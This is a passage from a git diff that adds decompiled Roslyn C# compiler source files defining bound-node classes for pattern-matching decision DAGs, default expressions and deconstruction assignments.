receiverPlaceholder.HasErrors() || argumentPlaceholder.HasErrors() || input.HasErrors()) + { + SliceType = sliceType; + LengthTemp = lengthTemp; + StartIndex = startIndex; + EndIndex = endIndex; + IndexerAccess = indexerAccess; + ReceiverPlaceholder = receiverPlaceholder; + ArgumentPlaceholder = argumentPlaceholder; + } + + [Conditional("DEBUG")] + private void Validate() + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagSliceEvaluation(this); + } + + public BoundDagSliceEvaluation Update(TypeSymbol sliceType, BoundDagTemp lengthTemp, int startIndex, int endIndex, BoundExpression indexerAccess, BoundSlicePatternReceiverPlaceholder receiverPlaceholder, BoundSlicePatternRangePlaceholder argumentPlaceholder, BoundDagTemp input) + { + if (!TypeSymbol.Equals(sliceType, SliceType, (TypeCompareKind)0) || lengthTemp != LengthTemp || startIndex != StartIndex || endIndex != EndIndex || indexerAccess != IndexerAccess || receiverPlaceholder != ReceiverPlaceholder || argumentPlaceholder != ArgumentPlaceholder || input != base.Input) + { + BoundDagSliceEvaluation boundDagSliceEvaluation = new BoundDagSliceEvaluation(Syntax, sliceType, lengthTemp, startIndex, endIndex, indexerAccess, receiverPlaceholder, argumentPlaceholder, input, base.HasErrors); + boundDagSliceEvaluation.CopyAttributes(this); + return boundDagSliceEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTemp.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTemp.cs new file mode 100644 index 0000000..f3285fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTemp.cs @@ -0,0 +1,88 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagTemp : BoundNode +{ + public bool IsOriginalInput => Source == null; + + public TypeSymbol Type { get; } + + public BoundDagEvaluation? Source { get; } + + public int Index { get; } + + public static BoundDagTemp ForOriginalInput(SyntaxNode syntax, TypeSymbol type) + { + return new BoundDagTemp(syntax, type, null, 0); + } + + public override bool Equals(object? obj) + { + if (obj is BoundDagTemp other) + { + return Equals(other); + } + return false; + } + + public bool Equals(BoundDagTemp other) + { + if (Type.Equals(other.Type, (TypeCompareKind)63) && object.Equals(Source, other.Source)) + { + return Index == other.Index; + } + return false; + } + + public bool IsEquivalentTo(BoundDagTemp other) + { + if (Type.Equals(other.Type, (TypeCompareKind)63)) + { + return Index == other.Index; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Type.GetHashCode(), Hash.Combine(Source?.GetHashCode() ?? 0, Index)); + } + + public BoundDagTemp(SyntaxNode syntax, TypeSymbol type, BoundDagEvaluation? source) + : this(syntax, type, source, 0) + { + } + + public static BoundDagTemp ForOriginalInput(BoundExpression expr) + { + return new BoundDagTemp(expr.Syntax, expr.Type, null); + } + + public BoundDagTemp(SyntaxNode syntax, TypeSymbol type, BoundDagEvaluation? source, int index, bool hasErrors = false) + : base(BoundKind.DagTemp, syntax, hasErrors || source.HasErrors()) + { + Type = type; + Source = source; + Index = index; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagTemp(this); + } + + public BoundDagTemp Update(TypeSymbol type, BoundDagEvaluation? source, int index) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0) || source != Source || index != Index) + { + BoundDagTemp boundDagTemp = new BoundDagTemp(Syntax, type, source, index, base.HasErrors); + boundDagTemp.CopyAttributes(this); + return boundDagTemp; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTest.cs new file mode 100644 index 0000000..74afb01 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTest.cs @@ -0,0 +1,78 @@ +using System.Diagnostics.CodeAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundDagTest : BoundNode +{ + public BoundDagTemp Input { get; } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + return Equals(obj as BoundDagTest); + } + + private bool Equals(BoundDagTest? other) + { + if (other == null || base.Kind != other.Kind) + { + return false; + } + if (this == other) + { + return true; + } + if (!Input.Equals(other.Input)) + { + return false; + } + if (this is BoundDagTypeTest boundDagTypeTest) + { + if (other is BoundDagTypeTest boundDagTypeTest2) + { + return boundDagTypeTest.Type.Equals(boundDagTypeTest2.Type, (TypeCompareKind)63); + } + } + else if (this is BoundDagNonNullTest boundDagNonNullTest) + { + if (other is BoundDagNonNullTest boundDagNonNullTest2) + { + return boundDagNonNullTest.IsExplicitTest == boundDagNonNullTest2.IsExplicitTest; + } + } + else if (this is BoundDagExplicitNullTest) + { + if (other is BoundDagExplicitNullTest) + { + return true; + } + } + else if (this is BoundDagValueTest boundDagValueTest) + { + if (other is BoundDagValueTest boundDagValueTest2) + { + return boundDagValueTest.Value.Equals(boundDagValueTest2.Value); + } + } + else if (this is BoundDagRelationalTest boundDagRelationalTest && other is BoundDagRelationalTest boundDagRelationalTest2) + { + if (boundDagRelationalTest.Relation == boundDagRelationalTest2.Relation) + { + return boundDagRelationalTest.Value.Equals(boundDagRelationalTest2.Value); + } + return false; + } + throw ExceptionUtilities.UnexpectedValue((object)this); + } + + public override int GetHashCode() + { + return Hash.Combine(((int)base.Kind).GetHashCode(), Input.GetHashCode()); + } + + protected BoundDagTest(BoundKind kind, SyntaxNode syntax, BoundDagTemp input, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + Input = input; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeEvaluation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeEvaluation.cs new file mode 100644 index 0000000..bf402b3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeEvaluation.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagTypeEvaluation : BoundDagEvaluation +{ + public TypeSymbol Type { get; } + + public BoundDagTypeEvaluation(SyntaxNode syntax, TypeSymbol type, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagTypeEvaluation, syntax, input, hasErrors || input.HasErrors()) + { + Type = type; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagTypeEvaluation(this); + } + + public BoundDagTypeEvaluation Update(TypeSymbol type, BoundDagTemp input) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0) || input != base.Input) + { + BoundDagTypeEvaluation boundDagTypeEvaluation = new BoundDagTypeEvaluation(Syntax, type, input, base.HasErrors); + boundDagTypeEvaluation.CopyAttributes(this); + return boundDagTypeEvaluation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeTest.cs new file mode 100644 index 0000000..6910201 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagTypeTest.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagTypeTest : BoundDagTest +{ + public TypeSymbol Type { get; } + + public BoundDagTypeTest(SyntaxNode syntax, TypeSymbol type, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagTypeTest, syntax, input, hasErrors || input.HasErrors()) + { + Type = type; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagTypeTest(this); + } + + public BoundDagTypeTest Update(TypeSymbol type, BoundDagTemp input) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0) || input != base.Input) + { + BoundDagTypeTest boundDagTypeTest = new BoundDagTypeTest(Syntax, type, input, base.HasErrors); + boundDagTypeTest.CopyAttributes(this); + return boundDagTypeTest; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagValueTest.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagValueTest.cs new file mode 100644 index 0000000..452dea6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDagValueTest.cs @@ -0,0 +1,31 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDagValueTest : BoundDagTest +{ + public ConstantValue Value { get; } + + public BoundDagValueTest(SyntaxNode syntax, ConstantValue value, BoundDagTemp input, bool hasErrors = false) + : base(BoundKind.DagValueTest, syntax, input, hasErrors || input.HasErrors()) + { + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDagValueTest(this); + } + + public BoundDagValueTest Update(ConstantValue value, BoundDagTemp input) + { + if (value != Value || input != base.Input) + { + BoundDagValueTest boundDagValueTest = new BoundDagValueTest(Syntax, value, input, base.HasErrors); + boundDagValueTest.CopyAttributes(this); + return boundDagValueTest; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDag.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDag.cs new file mode 100644 index 0000000..b11344c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDag.cs @@ -0,0 +1,203 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDecisionDag : BoundNode +{ + private ImmutableHashSet _reachableLabels; + + private ImmutableArray _topologicallySortedNodes; + + public ImmutableHashSet ReachableLabels + { + get + { + if (_reachableLabels == null) + { + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder((IEqualityComparer?)SymbolEqualityComparer.ConsiderEverything); + ImmutableArray.Enumerator enumerator = TopologicallySortedNodes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is BoundLeafDecisionDagNode boundLeafDecisionDagNode) + { + builder.Add(boundLeafDecisionDagNode.Label); + } + } + _reachableLabels = builder.ToImmutableHashSet(); + } + return _reachableLabels; + } + } + + public ImmutableArray TopologicallySortedNodes + { + get + { + if (_topologicallySortedNodes.IsDefault) + { + TopologicalSort.TryIterativeSort(RootNode, (TopologicalSortAddSuccessors)AddSuccessors, ref _topologicallySortedNodes); + } + return _topologicallySortedNodes; + } + } + + public BoundDecisionDagNode RootNode { get; } + + internal static void AddSuccessors(ref TemporaryArray builder, BoundDecisionDagNode node) + { + if (!(node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(node is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (!(node is BoundLeafDecisionDagNode)) + { + if (!(node is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + builder.Add(boundWhenDecisionDagNode.WhenTrue); + TemporaryArrayExtensions.AddIfNotNull(ref builder, boundWhenDecisionDagNode.WhenFalse); + } + } + else + { + builder.Add(boundTestDecisionDagNode.WhenFalse); + builder.Add(boundTestDecisionDagNode.WhenTrue); + } + } + else + { + builder.Add(boundEvaluationDecisionDagNode.Next); + } + } + + public BoundDecisionDag Rewrite(Func, BoundDecisionDagNode> makeReplacement) + { + ImmutableArray topologicallySortedNodes = TopologicallySortedNodes; + PooledDictionary instance = PooledDictionary.GetInstance(); + for (int num = topologicallySortedNodes.Length - 1; num >= 0; num--) + { + BoundDecisionDagNode boundDecisionDagNode = topologicallySortedNodes[num]; + BoundDecisionDagNode value = makeReplacement(boundDecisionDagNode, (IReadOnlyDictionary)instance); + ((Dictionary)(object)instance).Add(boundDecisionDagNode, value); + } + BoundDecisionDagNode rootNode = ((Dictionary)(object)instance)[RootNode]; + instance.Free(); + return Update(rootNode); + } + + public static BoundDecisionDagNode TrivialReplacement(BoundDecisionDagNode dag, IReadOnlyDictionary replacement) + { + if (!(dag is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(dag is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (!(dag is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + if (dag is BoundLeafDecisionDagNode result) + { + return result; + } + throw ExceptionUtilities.UnexpectedValue((object)dag); + } + return boundWhenDecisionDagNode.Update(boundWhenDecisionDagNode.Bindings, boundWhenDecisionDagNode.WhenExpression, replacement[boundWhenDecisionDagNode.WhenTrue], (boundWhenDecisionDagNode.WhenFalse != null) ? replacement[boundWhenDecisionDagNode.WhenFalse] : null); + } + return boundTestDecisionDagNode.Update(boundTestDecisionDagNode.Test, replacement[boundTestDecisionDagNode.WhenTrue], replacement[boundTestDecisionDagNode.WhenFalse]); + } + return boundEvaluationDecisionDagNode.Update(boundEvaluationDecisionDagNode.Evaluation, replacement[boundEvaluationDecisionDagNode.Next]); + } + + public BoundDecisionDag SimplifyDecisionDagIfConstantInput(BoundExpression input) + { + if (input.ConstantValueOpt == (ConstantValue)null) + { + return this; + } + ConstantValue inputConstant = input.ConstantValueOpt; + return Rewrite(makeReplacement); + bool? knownResult(BoundDagTest choice) + { + if (!choice.Input.IsOriginalInput) + { + return null; + } + if (choice is BoundDagExplicitNullTest) + { + return inputConstant.IsNull; + } + if (choice is BoundDagNonNullTest) + { + return !inputConstant.IsNull; + } + if (choice is BoundDagValueTest boundDagValueTest) + { + return boundDagValueTest.Value == inputConstant; + } + if (choice is BoundDagTypeTest) + { + if (!inputConstant.IsNull) + { + return null; + } + return false; + } + if (choice is BoundDagRelationalTest boundDagRelationalTest) + { + return ValueSetFactory.ForType(input.Type)?.Related(boundDagRelationalTest.Relation.Operator(), inputConstant, boundDagRelationalTest.Value); + } + throw ExceptionUtilities.UnexpectedValue((object)choice); + } + BoundDecisionDagNode makeReplacement(BoundDecisionDagNode dag, IReadOnlyDictionary replacement) + { + if (dag is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + bool? flag = knownResult(boundTestDecisionDagNode.Test); + if (flag.HasValue) + { + if (flag == true) + { + return replacement[boundTestDecisionDagNode.WhenTrue]; + } + return replacement[boundTestDecisionDagNode.WhenFalse]; + } + } + return TrivialReplacement(dag, replacement); + } + } + + public bool ContainsAnySynthesizedNodes() + { + return TopologicallySortedNodes.Any((BoundDecisionDagNode node) => node is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode && boundEvaluationDecisionDagNode.Evaluation.Kind == BoundKind.DagAssignmentEvaluation); + } + + public BoundDecisionDag(SyntaxNode syntax, BoundDecisionDagNode rootNode, bool hasErrors = false) + : base(BoundKind.DecisionDag, syntax, hasErrors || rootNode.HasErrors()) + { + RootNode = rootNode; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDecisionDag(this); + } + + public BoundDecisionDag Update(BoundDecisionDagNode rootNode) + { + if (rootNode != RootNode) + { + BoundDecisionDag boundDecisionDag = new BoundDecisionDag(Syntax, rootNode, base.HasErrors); + boundDecisionDag.CopyAttributes(this); + return boundDecisionDag; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDagNode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDagNode.cs new file mode 100644 index 0000000..a6fec1c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDecisionDagNode.cs @@ -0,0 +1,84 @@ +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundDecisionDagNode : BoundNode +{ + public override bool Equals(object? other) + { + if (this == other) + { + return true; + } + if (this is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode) + { + if (other is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode2) + { + if (boundEvaluationDecisionDagNode.Evaluation.Equals(boundEvaluationDecisionDagNode2.Evaluation)) + { + return boundEvaluationDecisionDagNode.Next == boundEvaluationDecisionDagNode2.Next; + } + return false; + } + } + else if (this is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + if (other is BoundTestDecisionDagNode boundTestDecisionDagNode2) + { + if (boundTestDecisionDagNode.Test.Equals(boundTestDecisionDagNode2.Test) && boundTestDecisionDagNode.WhenTrue == boundTestDecisionDagNode2.WhenTrue) + { + return boundTestDecisionDagNode.WhenFalse == boundTestDecisionDagNode2.WhenFalse; + } + return false; + } + } + else if (this is BoundWhenDecisionDagNode boundWhenDecisionDagNode) + { + if (other is BoundWhenDecisionDagNode boundWhenDecisionDagNode2) + { + if (boundWhenDecisionDagNode.WhenExpression == boundWhenDecisionDagNode2.WhenExpression && boundWhenDecisionDagNode.WhenTrue == boundWhenDecisionDagNode2.WhenTrue) + { + return boundWhenDecisionDagNode.WhenFalse == boundWhenDecisionDagNode2.WhenFalse; + } + return false; + } + } + else if (this is BoundLeafDecisionDagNode boundLeafDecisionDagNode && other is BoundLeafDecisionDagNode boundLeafDecisionDagNode2) + { + return boundLeafDecisionDagNode.Label == boundLeafDecisionDagNode2.Label; + } + return false; + } + + public override int GetHashCode() + { + if (!(this is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (!(this is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (!(this is BoundWhenDecisionDagNode boundWhenDecisionDagNode)) + { + if (this is BoundLeafDecisionDagNode boundLeafDecisionDagNode) + { + return RuntimeHelpers.GetHashCode(boundLeafDecisionDagNode.Label); + } + throw ExceptionUtilities.UnexpectedValue((object)this); + } + return Hash.Combine(RuntimeHelpers.GetHashCode(boundWhenDecisionDagNode.WhenExpression), Hash.Combine(RuntimeHelpers.GetHashCode(boundWhenDecisionDagNode.WhenFalse), RuntimeHelpers.GetHashCode(boundWhenDecisionDagNode.WhenTrue))); + } + return Hash.Combine(boundTestDecisionDagNode.Test.GetHashCode(), Hash.Combine(RuntimeHelpers.GetHashCode(boundTestDecisionDagNode.WhenFalse), RuntimeHelpers.GetHashCode(boundTestDecisionDagNode.WhenTrue))); + } + return Hash.Combine(boundEvaluationDecisionDagNode.Evaluation.GetHashCode(), RuntimeHelpers.GetHashCode(boundEvaluationDecisionDagNode.Next)); + } + + protected BoundDecisionDagNode(BoundKind kind, SyntaxNode syntax, bool hasErrors) + : base(kind, syntax, hasErrors) + { + } + + protected BoundDecisionDagNode(BoundKind kind, SyntaxNode syntax) + : base(kind, syntax) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeclarationPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeclarationPattern.cs new file mode 100644 index 0000000..cc30265 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeclarationPattern.cs @@ -0,0 +1,35 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDeclarationPattern : BoundObjectPattern +{ + public BoundTypeExpression DeclaredType { get; } + + public bool IsVar { get; } + + public BoundDeclarationPattern(SyntaxNode syntax, BoundTypeExpression declaredType, bool isVar, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.DeclarationPattern, syntax, variable, variableAccess, inputType, narrowedType, hasErrors || declaredType.HasErrors() || variableAccess.HasErrors()) + { + DeclaredType = declaredType; + IsVar = isVar; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDeclarationPattern(this); + } + + public BoundDeclarationPattern Update(BoundTypeExpression declaredType, bool isVar, Symbol? variable, BoundExpression? variableAccess, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (declaredType != DeclaredType || isVar != IsVar || !SymbolEqualityComparer.ConsiderEverything.Equals(variable, base.Variable) || variableAccess != base.VariableAccess || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundDeclarationPattern boundDeclarationPattern = new BoundDeclarationPattern(Syntax, declaredType, isVar, variable, variableAccess, inputType, narrowedType, base.HasErrors); + boundDeclarationPattern.CopyAttributes(this); + return boundDeclarationPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructValuePlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructValuePlaceholder.cs new file mode 100644 index 0000000..2b00aea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructValuePlaceholder.cs @@ -0,0 +1,46 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDeconstructValuePlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol Type => base.Type; + + public Symbol? VariableSymbol { get; } + + public bool IsDiscardExpression { get; } + + public BoundDeconstructValuePlaceholder(SyntaxNode syntax, Symbol? variableSymbol, bool isDiscardExpression, TypeSymbol type, bool hasErrors) + : base(BoundKind.DeconstructValuePlaceholder, syntax, type, hasErrors) + { + VariableSymbol = variableSymbol; + IsDiscardExpression = isDiscardExpression; + } + + public BoundDeconstructValuePlaceholder(SyntaxNode syntax, Symbol? variableSymbol, bool isDiscardExpression, TypeSymbol type) + : base(BoundKind.DeconstructValuePlaceholder, syntax, type) + { + VariableSymbol = variableSymbol; + IsDiscardExpression = isDiscardExpression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDeconstructValuePlaceholder(this); + } + + public BoundDeconstructValuePlaceholder Update(Symbol? variableSymbol, bool isDiscardExpression, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(variableSymbol, VariableSymbol) || isDiscardExpression != IsDiscardExpression || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDeconstructValuePlaceholder boundDeconstructValuePlaceholder = new BoundDeconstructValuePlaceholder(Syntax, variableSymbol, isDiscardExpression, type, base.HasErrors); + boundDeconstructValuePlaceholder.CopyAttributes(this); + return boundDeconstructValuePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructionAssignmentOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructionAssignmentOperator.cs new file mode 100644 index 0000000..5327dff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDeconstructionAssignmentOperator.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDeconstructionAssignmentOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Left, (BoundNode)Right); + + public new TypeSymbol Type => base.Type; + + public BoundTupleExpression Left { get; } + + public BoundConversion Right { get; } + + public bool IsUsed { get; } + + public BoundDeconstructionAssignmentOperator(SyntaxNode syntax, BoundTupleExpression left, BoundConversion right, bool isUsed, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DeconstructionAssignmentOperator, syntax, type, hasErrors || left.HasErrors() || right.HasErrors()) + { + Left = left; + Right = right; + IsUsed = isUsed; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDeconstructionAssignmentOperator(this); + } + + public BoundDeconstructionAssignmentOperator Update(BoundTupleExpression left, BoundConversion right, bool isUsed, TypeSymbol type) + { + if (left != Left || right != Right || isUsed != IsUsed || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDeconstructionAssignmentOperator boundDeconstructionAssignmentOperator = new BoundDeconstructionAssignmentOperator(Syntax, left, right, isUsed, type, base.HasErrors); + boundDeconstructionAssignmentOperator.CopyAttributes(this); + return boundDeconstructionAssignmentOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultExpression.cs new file mode 100644 index 0000000..8377452 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultExpression.cs @@ -0,0 +1,42 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDefaultExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundTypeExpression? TargetType { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public BoundDefaultExpression(SyntaxNode syntax, TypeSymbol type, bool hasErrors = false) + : this(syntax, null, type.GetDefaultValue(), type, hasErrors) + { + } + + public BoundDefaultExpression(SyntaxNode syntax, BoundTypeExpression? targetType, ConstantValue? constantValueOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.DefaultExpression, syntax, type, hasErrors || targetType.HasErrors()) + { + TargetType = targetType; + ConstantValueOpt = constantValueOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDefaultExpression(this); + } + + public BoundDefaultExpression Update(BoundTypeExpression? targetType, ConstantValue? constantValueOpt, TypeSymbol type) + { + if (targetType != TargetType || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundDefaultExpression boundDefaultExpression = new BoundDefaultExpression(Syntax, targetType, constantValueOpt, type, base.HasErrors); + boundDefaultExpression.CopyAttributes(this); + return boundDefaultExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultLiteral.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultLiteral.cs new file mode 100644 index 0000000..5bbd1f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDefaultLiteral.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDefaultLiteral : BoundExpression +{ + public override ConstantValue? ConstantValueOpt => null; + + public override object Display => ((object)Type) ?? ((object)"default"); + + public new TypeSymbol? Type => base.Type; + + public BoundDefaultLiteral(SyntaxNode syntax, bool hasErrors) + : base(BoundKind.DefaultLiteral, syntax, null, hasErrors) + { + } + + public BoundDefaultLiteral(SyntaxNode syntax) + : base(BoundKind.DefaultLiteral, syntax, null) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitDefaultLiteral(this); + } + + public BoundDefaultLiteral Update() + { + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDelegateCreationExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDelegateCreationExpression.cs new file mode 100644 index 0000000..ece4709 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundDelegateCreationExpression.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundDelegateCreationExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Argument { get; } + + public MethodSymbol? MethodOpt { get; } + + public bool IsExtensionMethod { get; } + + public bool WasTargetTyped { get; } + + public BoundDelegateCreationExpression(SyntaxNode syntax, BoundExpression argument, MethodSymbol? methodOpt, bool isExtensionMethod, bool 